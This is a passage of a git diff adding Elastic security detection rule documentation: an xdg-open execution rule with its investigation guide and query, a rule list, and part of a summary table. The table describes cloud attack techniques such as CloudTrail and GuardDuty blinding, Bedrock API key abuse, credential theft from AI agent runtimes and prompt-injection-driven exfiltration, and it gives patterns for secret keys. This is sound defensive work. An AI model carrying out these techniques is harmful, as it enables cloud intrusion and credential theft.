Automated tools or scripts might inadvertently use incorrect HTTP methods, leading to false positives. Identify and update these tools to use appropriate methods, or whitelist their IP addresses if they are known and trusted. +- Web crawlers or bots might attempt unsupported methods as part of their scanning process. Configure your monitoring system to recognize and exclude these benign activities based on user-agent strings or IP ranges. +- Development and testing environments often experiment with various HTTP methods, resulting in 405 responses. Implement rules to exclude these environments from production monitoring to reduce noise. +- Legacy systems or applications might not support certain HTTP methods, causing frequent 405 errors. Document these systems and create exceptions in your monitoring to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately review the web server and application logs to identify the source IP address and user agent associated with the 405 response. Block the IP address if it is determined to be malicious or part of a known attack pattern. +- Conduct a security assessment of the web application's configuration to ensure that only necessary HTTP methods are enabled for each resource. Disable any methods that are not required for the application's functionality. +- Implement or update web application firewall (WAF) rules to block unauthorized HTTP methods and monitor for repeated attempts from the same source. +- Notify the security operations team to monitor for any additional suspicious activity from the identified source or similar patterns, and escalate to incident response if further malicious activity is detected. +- Review and update the application's security policies and access controls to ensure they align with best practices and prevent unauthorized method usage. +- Conduct a vulnerability assessment of the web application to identify and remediate any potential security weaknesses that could be exploited by unauthorized HTTP methods. +- Document the incident, including the response actions taken, and update the incident response plan to improve future detection and response capabilities for similar threats. + +==== Rule query + + +[source, js] +---------------------------------- +http.response.status_code:405 and http.request.method:(* and not (GET or HEAD or OPTIONS or POST)) + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-xdg-open-command-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-xdg-open-command-execution.asciidoc new file mode 100644 index 0000000000..973c231b0a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-xdg-open-command-execution.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-28-xdg-open-command-execution]] +=== XDG-Open Command Execution + +This rule monitors for the execution of the xdg-open process that is typically used to open documents and URLs in the user's preferred desktop application. Attackers may use this command to trick users into opening malicious documents or URLs to gain access to the target system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Auditd Manager +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating XDG-Open Command Execution* + + +This rule detects when the Linux `xdg-open` utility launches, which can indicate an attempt to hand a file or URL to the user’s default desktop application. That matters because attackers abuse this trusted helper to make malicious content appear as a normal user action and gain execution through user interaction. A common pattern is a script or archive invoking `xdg-open` on a local lure document or phishing URL so the desktop immediately opens it in the browser or document viewer. + + +*Possible investigation steps* + + +- Trace the parent and ancestor chain to determine whether `xdg-open` was launched by a browser, email client, chat app, archive extractor, script interpreter, or remote shell, and assess whether that lineage matches normal user behavior. +- Determine what was handed to `xdg-open` and classify it as a local file or URL; for files, examine the path, hash, download origin, and recent creation time, and for URLs, review reputation, redirects, and whether the destination is a known phishing or malware host. +- Correlate the event with nearby activity on the same host such as browser downloads, email attachment access, extraction of compressed archives, removable media access, or files written to temporary directories to identify the original delivery mechanism. +- Review the application that opened next and any follow-on child activity to see whether a browser, document viewer, or office suite subsequently spawned scripts, shell interpreters, network connections, or additional payloads. +- Validate the execution context by confirming an active graphical user session and the expected user account, since `xdg-open` launched from headless, privileged, or automation contexts is more suspicious and may indicate script-driven abuse. + + +*False positive analysis* + + +- A legitimate interactive desktop action such as a user clicking a help link, local document, or downloaded file can invoke `xdg-open`, so verify the process has an expected GUI parent, runs in the user’s normal session, and opens a path or URL consistent with recent user activity. +- Login, onboarding, or administrative scripts may use `xdg-open` to launch an internal page or local documentation for users, so confirm the parent script or autostart entry is an approved file in a standard location and that the same command appears repeatedly for other users or hosts. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network except for approved management channels, stop the user from interacting further with the opened browser tab or document, and block the malicious URL, domain, and any downloaded file hashes across web, email, and endpoint controls. +- Terminate the malicious process chain launched after `xdg-open`, quarantine the lure file or browser download, and remove persistence artifacts such as `~/.config/autostart` entries, user or system `systemd` units, cron jobs, shell profile modifications, and unauthorized desktop launchers. +- Reset the affected user’s passwords and revoke active sessions, tokens, and browser-stored credentials if `xdg-open` led to a phishing page, credential prompt, or any site that could have captured authentication data. +- Restore the host to a known-good state by reimaging or rolling back from a trusted baseline when the opened file or URL led to payload execution, unauthorized package installation, startup changes, or execution with elevated privileges. +- Escalate to incident response immediately if the same lure URL or document appears on multiple hosts, any root-level persistence or remote access tooling is found, or there are signs of lateral movement, data staging, or exfiltration. +- Harden the environment by patching browsers and document handlers, restricting script-driven `xdg-open` use from temporary or download directories where feasible, tightening email and web filtering for similar lures, and adding detections for `xdg-open` spawned by shell interpreters, archive extractors, chat clients, or remote shells. + + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "executed", "process_started", "ProcessRollup2") and ( + process.name == "xdg-open" or + process.args in ("/bin/xdg-open", "/usr/bin/xdg-open", "/usr/local/bin/xdg-open", "xdg-open") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious Link +** ID: T1204.001 +** Reference URL: https://attack.mitre.org/techniques/T1204/001/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Sub-technique: +** Name: Malicious Copy and Paste +** ID: T1204.004 +** Reference URL: https://attack.mitre.org/techniques/T1204/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rules-8-19-28-appendix.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rules-8-19-28-appendix.asciidoc new file mode 100644 index 0000000000..e39d134b42 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rules-8-19-28-appendix.asciidoc @@ -0,0 +1,156 @@ +["appendix",role="exclude",id="prebuilt-rule-8-19-28-prebuilt-rules-8-19-28-appendix"] += Downloadable rule update v8.19.28 + +This section lists all updates associated with version 8.19.28 of the Fleet integration *Prebuilt Security Detection Rules*. + + +include::prebuilt-rule-8-19-28-aws-cognito-unauthenticated-identity-pool-credentials-issued.asciidoc[] +include::prebuilt-rule-8-19-28-aws-cloudtrail-management-events-disabled-via-puteventselectors.asciidoc[] +include::prebuilt-rule-8-19-28-aws-guardduty-detection-suppression.asciidoc[] +include::prebuilt-rule-8-19-28-aws-attempt-to-leave-organization.asciidoc[] +include::prebuilt-rule-8-19-28-aws-account-closed.asciidoc[] +include::prebuilt-rule-8-19-28-aws-bedrock-api-key-used-for-destructive-or-anti-recovery-action.asciidoc[] +include::prebuilt-rule-8-19-28-aws-potential-cryptomining-via-ecs-task-definition-deployment.asciidoc[] +include::prebuilt-rule-8-19-28-aws-iam-user-console-login-without-mfa.asciidoc[] +include::prebuilt-rule-8-19-28-aws-bedrock-agentcore-execution-role-used-outside-its-runtime.asciidoc[] +include::prebuilt-rule-8-19-28-aws-bedrock-api-key-phantom-user-activity-outside-bedrock.asciidoc[] +include::prebuilt-rule-8-19-28-aws-iam-credentials-added-to-a-bedrock-api-key-phantom-user.asciidoc[] +include::prebuilt-rule-8-19-28-aws-bedrock-model-prompt-or-completion-containing-credentials.asciidoc[] +include::prebuilt-rule-8-19-28-aws-bedrock-agentcore-runtime-prompt-containing-credentials.asciidoc[] +include::prebuilt-rule-8-19-28-aws-bedrock-agentcore-runtime-prompt-targeting-credentials-or-instance-metadata.asciidoc[] +include::prebuilt-rule-8-19-28-entra-id-ropc-authentication-with-unknown-client-id.asciidoc[] +include::prebuilt-rule-8-19-28-entra-id-conditional-access-mfa-bypass-with-unusual-user-client-and-source-asn.asciidoc[] +include::prebuilt-rule-8-19-28-azure-aks-kubelet-proxy-to-command-execution-endpoint.asciidoc[] +include::prebuilt-rule-8-19-28-azure-aks-attempted-user-exec-into-pod.asciidoc[] +include::prebuilt-rule-8-19-28-unusual-azure-vm-extension-detected.asciidoc[] +include::prebuilt-rule-8-19-28-entra-id-user-sign-in-via-unusual-legacy-authentication-client.asciidoc[] +include::prebuilt-rule-8-19-28-azure-aks-api-server-proxying-request-to-kubelet.asciidoc[] +include::prebuilt-rule-8-19-28-entra-id-aitm-phishing-kit-chain-detected.asciidoc[] +include::prebuilt-rule-8-19-28-entra-id-multiple-device-registrations-by-a-single-user.asciidoc[] +include::prebuilt-rule-8-19-28-entra-id-device-registration-with-phishing-kit-default-os-build.asciidoc[] +include::prebuilt-rule-8-19-28-entra-id-phishing-kit-default-os-build-entity-analytics.asciidoc[] +include::prebuilt-rule-8-19-28-gke-pod-exec-cloud-instance-metadata-access.asciidoc[] +include::prebuilt-rule-8-19-28-gke-pod-exec-sensitive-file-or-credential-path-access.asciidoc[] +include::prebuilt-rule-8-19-28-gke-rapid-secret-get-activity-against-multiple-objects.asciidoc[] +include::prebuilt-rule-8-19-28-gke-service-account-token-created-via-tokenrequest-api.asciidoc[] +include::prebuilt-rule-8-19-28-gke-anonymous-endpoint-permission-enumeration.asciidoc[] +include::prebuilt-rule-8-19-28-gke-anonymous-pod-create-update-patch.asciidoc[] +include::prebuilt-rule-8-19-28-gke-forbidden-creation-request.asciidoc[] +include::prebuilt-rule-8-19-28-gke-forbidden-request-from-unusual-user-agent.asciidoc[] +include::prebuilt-rule-8-19-28-gke-pod-exec-with-curl-or-wget-to-https.asciidoc[] +include::prebuilt-rule-8-19-28-gke-pod-exec-potential-reverse-shell.asciidoc[] +include::prebuilt-rule-8-19-28-gke-coredns-or-kube-dns-configuration-modified.asciidoc[] +include::prebuilt-rule-8-19-28-gke-anonymous-request-authorized-by-unusual-user-agent.asciidoc[] +include::prebuilt-rule-8-19-28-gke-certificate-signing-request-self-approved.asciidoc[] +include::prebuilt-rule-8-19-28-gke-client-certificate-signing-request-created-or-approved.asciidoc[] +include::prebuilt-rule-8-19-28-gke-exposed-service-created-with-type-nodeport.asciidoc[] +include::prebuilt-rule-8-19-28-gke-creation-of-a-rolebinding-referencing-a-serviceaccount.asciidoc[] +include::prebuilt-rule-8-19-28-gke-creation-or-modification-of-sensitive-role.asciidoc[] +include::prebuilt-rule-8-19-28-gke-api-server-proxying-request-to-kubelet.asciidoc[] +include::prebuilt-rule-8-19-28-gke-api-request-impersonating-privileged-identity.asciidoc[] +include::prebuilt-rule-8-19-28-gke-certificate-signing-request-api-client-signer-requested.asciidoc[] +include::prebuilt-rule-8-19-28-gke-ephemeral-container-added-to-pod.asciidoc[] +include::prebuilt-rule-8-19-28-gke-rbac-wildcard-elevation-on-existing-role.asciidoc[] +include::prebuilt-rule-8-19-28-gke-service-account-modified-rbac-objects.asciidoc[] +include::prebuilt-rule-8-19-28-gke-suspicious-assignment-of-controller-service-account.asciidoc[] +include::prebuilt-rule-8-19-28-gke-unusual-sensitive-workload-modification.asciidoc[] +include::prebuilt-rule-8-19-28-m365-identity-oauth-ropc-grant-via-legacy-authentication-client.asciidoc[] +include::prebuilt-rule-8-19-28-php-file-creation-in-wordpress-plugin-directory.asciidoc[] +include::prebuilt-rule-8-19-28-microsoft-defender-xdr-alert-external-alerts.asciidoc[] +include::prebuilt-rule-8-19-28-microsoft-defender-xdr-incident-external-alerts.asciidoc[] +include::prebuilt-rule-8-19-28-suspicious-child-process-via-azure-vm-customscript-extension.asciidoc[] +include::prebuilt-rule-8-19-28-web-application-suspicious-activity-post-request-declined.asciidoc[] +include::prebuilt-rule-8-19-28-web-application-suspicious-activity-unauthorized-method.asciidoc[] +include::prebuilt-rule-8-19-28-genai-process-connection-to-unusual-domain.asciidoc[] +include::prebuilt-rule-8-19-28-newly-observed-palo-alto-network-alert.asciidoc[] +include::prebuilt-rule-8-19-28-aws-cloudtrail-log-suspended.asciidoc[] +include::prebuilt-rule-8-19-28-aws-eks-control-plane-logging-disabled.asciidoc[] +include::prebuilt-rule-8-19-28-aws-guardduty-member-account-manipulation.asciidoc[] +include::prebuilt-rule-8-19-28-aws-s3-bucket-server-access-logging-disabled.asciidoc[] +include::prebuilt-rule-8-19-28-aws-first-occurrence-of-sts-getfederationtoken-request-by-user.asciidoc[] +include::prebuilt-rule-8-19-28-aws-discovery-api-calls-from-vpn-asn-for-the-first-time-by-identity.asciidoc[] +include::prebuilt-rule-8-19-28-aws-cloudshell-environment-created.asciidoc[] +include::prebuilt-rule-8-19-28-aws-ssm-command-document-created-by-rare-user.asciidoc[] +include::prebuilt-rule-8-19-28-aws-dynamodb-table-exported-to-s3.asciidoc[] +include::prebuilt-rule-8-19-28-aws-ec2-ami-shared-with-another-account.asciidoc[] +include::prebuilt-rule-8-19-28-aws-rds-snapshot-export.asciidoc[] +include::prebuilt-rule-8-19-28-aws-s3-bucket-replicated-to-another-account.asciidoc[] +include::prebuilt-rule-8-19-28-aws-cloudtrail-log-updated.asciidoc[] +include::prebuilt-rule-8-19-28-aws-iam-deactivation-of-mfa-device.asciidoc[] +include::prebuilt-rule-8-19-28-potential-aws-s3-bucket-ransomware-note-uploaded.asciidoc[] +include::prebuilt-rule-8-19-28-excessive-aws-s3-object-encryption-with-sse-c.asciidoc[] +include::prebuilt-rule-8-19-28-aws-s3-static-site-javascript-file-uploaded.asciidoc[] +include::prebuilt-rule-8-19-28-unusual-aws-s3-object-encryption-with-sse-c.asciidoc[] +include::prebuilt-rule-8-19-28-aws-suspicious-user-agent-fingerprint.asciidoc[] +include::prebuilt-rule-8-19-28-aws-ssm-session-started-to-ec2-instance.asciidoc[] +include::prebuilt-rule-8-19-28-aws-ec2-instance-connect-ssh-public-key-uploaded.asciidoc[] +include::prebuilt-rule-8-19-28-aws-sns-topic-message-publish-by-rare-user.asciidoc[] +include::prebuilt-rule-8-19-28-aws-iam-create-user-via-assumed-role-on-ec2-instance.asciidoc[] +include::prebuilt-rule-8-19-28-aws-iam-oidc-provider-created-by-rare-user.asciidoc[] +include::prebuilt-rule-8-19-28-aws-iam-roles-anywhere-profile-creation.asciidoc[] +include::prebuilt-rule-8-19-28-aws-iam-saml-provider-created.asciidoc[] +include::prebuilt-rule-8-19-28-aws-iam-user-created-access-keys-for-another-user.asciidoc[] +include::prebuilt-rule-8-19-28-aws-lambda-function-policy-updated-to-allow-public-invocation.asciidoc[] +include::prebuilt-rule-8-19-28-aws-lambda-function-url-created-with-public-access.asciidoc[] +include::prebuilt-rule-8-19-28-aws-ec2-createkeypair-by-new-principal-from-non-cloud-as-organization.asciidoc[] +include::prebuilt-rule-8-19-28-aws-sensitive-iam-operations-performed-via-cloudshell.asciidoc[] +include::prebuilt-rule-8-19-28-aws-iam-administratoraccess-policy-attached-to-user.asciidoc[] +include::prebuilt-rule-8-19-28-aws-sts-assumeroot-by-rare-user-and-member-account.asciidoc[] +include::prebuilt-rule-8-19-28-microsoft-graph-email-access-by-unusual-user-and-client.asciidoc[] +include::prebuilt-rule-8-19-28-azure-key-vault-unusual-secret-key-usage.asciidoc[] +include::prebuilt-rule-8-19-28-azure-ad-graph-potential-enumeration-roadrecon.asciidoc[] +include::prebuilt-rule-8-19-28-azure-ad-graph-access-with-suspicious-user-agent.asciidoc[] +include::prebuilt-rule-8-19-28-entra-id-sign-in-bloodhound-suite-user-agent-detected.asciidoc[] +include::prebuilt-rule-8-19-28-entra-id-sign-in-teamfiltration-user-agent-detected.asciidoc[] +include::prebuilt-rule-8-19-28-entra-id-service-principal-federated-credential-authentication-by-unusual-client.asciidoc[] +include::prebuilt-rule-8-19-28-entra-id-illicit-consent-grant-via-registered-application.asciidoc[] +include::prebuilt-rule-8-19-28-entra-id-microsoft-authentication-broker-sign-in-to-unusual-resource.asciidoc[] +include::prebuilt-rule-8-19-28-entra-id-oauth-ropc-grant-login-detected.asciidoc[] +include::prebuilt-rule-8-19-28-entra-id-conditional-access-policy-cap-modified.asciidoc[] +include::prebuilt-rule-8-19-28-entra-id-oauth-application-redirect-uri-modified.asciidoc[] +include::prebuilt-rule-8-19-28-entra-id-device-registration-with-roadtools-default-os-build.asciidoc[] +include::prebuilt-rule-8-19-28-entra-id-device-with-roadtools-default-os-build-entity-analytics.asciidoc[] +include::prebuilt-rule-8-19-28-gcp-iam-custom-role-creation.asciidoc[] +include::prebuilt-rule-8-19-28-gke-cluster-admin-role-binding-created-or-modified.asciidoc[] +include::prebuilt-rule-8-19-28-gcp-service-account-key-creation.asciidoc[] +include::prebuilt-rule-8-19-28-google-workspace-gmail-routing-or-forwarding-rule-created-or-modified.asciidoc[] +include::prebuilt-rule-8-19-28-google-workspace-mfa-enforcement-disabled-for-organization.asciidoc[] +include::prebuilt-rule-8-19-28-google-workspace-suspended-user-account-renewed.asciidoc[] +include::prebuilt-rule-8-19-28-application-added-to-google-workspace-domain.asciidoc[] +include::prebuilt-rule-8-19-28-google-workspace-2sv-policy-disabled-by-user.asciidoc[] +include::prebuilt-rule-8-19-28-google-workspace-api-access-granted-via-domain-wide-delegation.asciidoc[] +include::prebuilt-rule-8-19-28-google-workspace-role-modified.asciidoc[] +include::prebuilt-rule-8-19-28-deprecated-mfa-disabled-for-google-workspace-organization.asciidoc[] +include::prebuilt-rule-8-19-28-m365-sharepoint-onedrive-file-access-via-powershell.asciidoc[] +include::prebuilt-rule-8-19-28-m365-exchange-inbox-phishing-evasion-rule-created.asciidoc[] +include::prebuilt-rule-8-19-28-m365-identity-oauth-illicit-consent-grant-by-rare-client-and-user.asciidoc[] +include::prebuilt-rule-8-19-28-m365-identity-oauth-phishing-via-first-party-microsoft-application.asciidoc[] +include::prebuilt-rule-8-19-28-shell-execution-via-elastic-endpoint.asciidoc[] +include::prebuilt-rule-8-19-28-file-creation-in-world-writable-directory-by-unusual-process.asciidoc[] +include::prebuilt-rule-8-19-28-payload-downloaded-by-interpreter-and-piped-to-interpreter.asciidoc[] +include::prebuilt-rule-8-19-28-xdg-open-command-execution.asciidoc[] +include::prebuilt-rule-8-19-28-suspicious-child-execution-via-web-server.asciidoc[] +include::prebuilt-rule-8-19-28-suspicious-command-execution-via-web-server.asciidoc[] +include::prebuilt-rule-8-19-28-unusual-child-execution-via-web-server.asciidoc[] +include::prebuilt-rule-8-19-28-unusual-command-execution-via-web-server.asciidoc[] +include::prebuilt-rule-8-19-28-potential-root-effective-shell-from-non-standard-path-via-auditd.asciidoc[] +include::prebuilt-rule-8-19-28-nsenter-to-pid-namespace-via-auditd.asciidoc[] +include::prebuilt-rule-8-19-28-chroot-execution-in-container-context-on-linux.asciidoc[] +include::prebuilt-rule-8-19-28-potential-cve-2025-32463-nsswitch-file-creation.asciidoc[] +include::prebuilt-rule-8-19-28-potential-cve-2025-32463-sudo-chroot-execution-attempt.asciidoc[] +include::prebuilt-rule-8-19-28-deprecated-potential-cve-2025-41244-vmtoolsd-lpe-exploitation-attempt.asciidoc[] +include::prebuilt-rule-8-19-28-potential-privilege-escalation-via-suid-sgid.asciidoc[] +include::prebuilt-rule-8-19-28-privilege-escalation-via-suid-sgid.asciidoc[] +include::prebuilt-rule-8-19-28-potential-privilege-escalation-via-suid-sgid-proxy-execution.asciidoc[] +include::prebuilt-rule-8-19-28-potential-sudo-hijacking.asciidoc[] +include::prebuilt-rule-8-19-28-suspicious-suid-binary-execution.asciidoc[] +include::prebuilt-rule-8-19-28-privilege-escalation-via-cap-setuid-setgid-capabilities.asciidoc[] +include::prebuilt-rule-8-19-28-namespace-manipulation-using-unshare.asciidoc[] +include::prebuilt-rule-8-19-28-accepted-default-telnet-port-connection.asciidoc[] +include::prebuilt-rule-8-19-28-cobalt-strike-command-and-control-beacon.asciidoc[] +include::prebuilt-rule-8-19-28-possible-fin7-dga-command-and-control-behavior.asciidoc[] +include::prebuilt-rule-8-19-28-halfbaked-command-and-control-beacon.asciidoc[] +include::prebuilt-rule-8-19-28-potential-cpanel-whm-crlf-authentication-bypass-cve-2026-41940.asciidoc[] +include::prebuilt-rule-8-19-28-inbound-connection-to-an-unsecure-elasticsearch-node.asciidoc[] +include::prebuilt-rule-8-19-28-suspicious-file-renamed-via-smb.asciidoc[] +include::prebuilt-rule-8-19-28-potential-ransomware-note-file-dropped-via-smb.asciidoc[] diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rules-8-19-28-summary.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rules-8-19-28-summary.asciidoc new file mode 100644 index 0000000000..b185ac26e7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rules-8-19-28-summary.asciidoc @@ -0,0 +1,312 @@ +[[prebuilt-rule-8-19-28-prebuilt-rules-8-19-28-summary]] +[role="xpack"] +== Update v8.19.28 + +This section lists all updates associated with version 8.19.28 of the Fleet integration *Prebuilt Security Detection Rules*. + + +[width="100%",options="header"] +|============================================== +|Rule |Description |Status |Version + +|<> | Identifies AWS CloudTrail data events where an unauthenticated identity successfully retrieves temporary AWS credentials from a Cognito Identity Pool via GetCredentialsForIdentity. Cognito Identity Pools can be configured to allow unauthenticated (guest) access, intended for scenarios like anonymous app analytics, but a pool that grants those anonymous identities meaningful IAM permissions becomes a public, unauthenticated path to real AWS credentials. Adversaries who discover an identity pool ID (often embedded in mobile app binaries, web app JavaScript, or public source repositories) can call GetId followed by GetCredentialsForIdentity with no login token at all to obtain temporary credentials, then use them to access whatever the pool's unauthenticated role permits. This is a New Terms rule that limits alerting to identity pools that have not been observed issuing credentials to an unauthenticated caller before, since some applications intentionally and continuously use guest access as part of normal operation. | new | 1 + +|<> | Detects CloudTrail PutEventSelectors calls where the legacy event selectors explicitly set includeManagementEvents to false, disabling capture of all management API calls for that trail. Unlike StopLogging or DeleteTrail — which leave an obvious trace of the trail being stopped or removed entirely — this technique leaves the trail appearing active and healthy in the console while silently blinding defenders to subsequent IAM changes, credential operations, and resource abuse. This technique is documented in Stratus Red Team as aws.defense-evasion.cloudtrail-event-selectors and is a known pre-exfiltration step. | new | 1 + +|<> | Identifies attempts to suppress or blind Amazon GuardDuty without deleting the detector outright. Adversaries with GuardDuty permissions can create or update a trusted IP set (CreateIPSet/UpdateIPSet) so that traffic from listed addresses is never flagged, tamper with the threat intelligence feed used to generate findings (CreateThreatIntelSet/UpdateThreatIntelSet), or soft-disable the detector via UpdateDetector with Enable set to false. All three techniques leave the detector itself intact, evading detections that only look for detector deletion. | new | 1 + +|<> | Detects any attempt, successful or denied, for a member account to leave an AWS Organization via the LeaveOrganization API. Leaving an organization immediately strips the account of every Service Control Policy (SCP) guardrail the organization enforces, removes it from centralized CloudTrail aggregation, and eliminates the management account's ability to audit or control it going forward. An adversary who has gained root or organization-management-capable access in a member account may use this technique to escape organizational security controls and operate unmonitored. Denied attempts are included because a blocked call is just as strong a signal of intent as a successful one, and is often the only trace left when the account's default permissions correctly prevent the action. | new | 1 + +|<> | Detects the closure of an AWS account via the CloseAccount API. This can be called either by the account itself (account.amazonaws.com, self-service closure) or by an AWS Organizations management account against one of its member accounts (organizations.amazonaws.com). Account closure triggers a 90-day grace period during which the account is suspended before permanent termination, and is one of the most destructive and disruptive actions available in AWS. It removes access to all resources and data in the account for the duration of the suspension. An adversary with root-level access in a member account, or management-level access to an organization, may close accounts to destroy evidence, disrupt business operations, or eliminate compute and data resources. A malicious insider could use the same action for sabotage. | new | 1 + +|<> | Identifies an Amazon Bedrock API key (bearer token) being used to perform a destructive or anti-recovery control-plane action, such as deleting a guardrail, deleting a custom or imported model, removing provisioned throughput, or disabling model invocation logging. Bedrock API keys are bearer credentials intended for model invocation (InvokeModel, Converse); using one to delete Bedrock resources or disable logging is inconsistent with that purpose and is characteristic of LLMjacking or sabotage following key theft. Every Bedrock API key call is identifiable in CloudTrail by "additionalEventData.callWithBearerToken" being true. The rule matches regardless of outcome, because a destructive attempt via a bearer token is suspicious even when denied. | new | 1 + +|<> | Identifies a principal that, within a short window, both registers an Amazon ECS task definition using a public / non-ECR container image at a high CPU allocation (8 or 16 vCPU) AND launches ECS workloads (RunTask, StartTask, or CreateService). Registering a public miner image at maximum compute and then launching it is the ECS/Fargate cryptocurrency-mining deployment pattern seen after credential compromise. Requiring both the mining-signature registration and a launch by the same principal confirms an actual deployment rather than a standalone (possibly benign) task-definition registration, which sharply reduces false positives from high-compute workloads that are merely registered. | new | 1 + +|<> | Identifies the first observed occurrence, within the configured New Terms history window, of a regular IAM user successfully signing in to the AWS Management Console without multi-factor authentication. A password alone is a weaker control than password-plus-MFA, and an adversary who has phished, guessed, or otherwise obtained a user's password can sign in directly if MFA is not enforced for that user. This rule is scoped to standard IAM users only; it excludes the AWS root user (covered by a dedicated rule) and federated/SSO sign-ins (covered by a dedicated rule that also accounts for IdP-side MFA), since MFAUsed: No is expected in both of those cases for reasons unrelated to this gap. | new | 1 + +|<> | Identifies an Amazon Bedrock AgentCore execution role (an AssumedRole identity whose role name begins with "AgentCore-" or contains "BedrockAgentCore") making an AWS API call to a service it has not previously called. AgentCore runtimes normally interact only with Bedrock inference, AgentCore data-plane, and observability services (CloudWatch Logs, X-Ray, CloudWatch metrics), so an execution role suddenly calling STS, EC2, IAM, Secrets Manager, or other services is a strong indicator that the role's temporary credentials were exfiltrated from the agent's microVM (for example, via the Code Interpreter instance-metadata-service credential theft) and are being used outside the runtime for reconnaissance, privilege escalation, or lateral movement. Because the stolen credentials are recorded in CloudTrail under the execution role's own identity, the anomalous service usage, not the identity, is the detectable signal. | new | 1 + +|<> | Identifies an Amazon Bedrock API key phantom user (an IAM user whose name starts with "BedrockAPIKey-") acting as the caller of a non-Bedrock API request, such as IAM, STS, EC2, VPC, or KMS calls. These users are provisioned by AWS to back a Bedrock bearer token and carry the AmazonBedrockLimitedAccess managed policy, which also grants IAM, VPC, and KMS reconnaissance. A phantom user performing activity outside of Bedrock indicates its credentials are being used beyond their intended scope, which is the privilege-escalation path realized: an attacker who created standard IAM access keys for the phantom user is now using them for reconnaissance or lateral movement outside the Bedrock authentication boundary. | new | 1 + +|<> | Identifies standard IAM credentials being added to an Amazon Bedrock API key phantom user, whose user name starts with "BedrockAPIKey-": either a long-term access key (CreateAccessKey) or a console password / login profile (CreateLoginProfile, UpdateLoginProfile). When a long-term Bedrock API key is generated through the AWS Console, AWS silently provisions a "BedrockAPIKey-" IAM user with the AmazonBedrockLimitedAccess managed policy. That user is intended only to back a Bedrock bearer token and should never hold standard programmatic keys or interactive console access. Adding either converts a Bedrock-scoped identity into general-purpose IAM credentials that inherit the policy's Bedrock control-plane and IAM, VPC, and KMS reconnaissance permissions and that persist after the Bedrock API key is revoked. This is the privilege-escalation and persistence pivot documented for Bedrock API key phantom users, and there is no legitimate workflow that produces it. | new | 1 + +|<> | Identifies an Amazon Bedrock model invocation whose prompt or completion contains an AWS access key identifier (AKIA long-term or ASIA temporary/STS, followed by 16 characters), an Amazon Bedrock API key (ABSK bearer token), or a PEM private-key block. Credentials in the model input mean an application or user is sending secrets to the model, exposing them to invocation logging, the model provider, and prompt history; credentials in the model output mean the model is emitting secrets, which can result from training-data leakage, poisoned context, or a prompt-injection-driven exfiltration attempt. Either case is a credential-exposure event that warrants immediate rotation of the affected secret. | new | 1 + +|<> | Identifies prompts sent to an Amazon Bedrock AgentCore runtime that contain AWS access key identifiers (AKIA long-term or ASIA temporary/STS), Amazon Bedrock API keys (ABSK bearer tokens), or PEM-encoded private 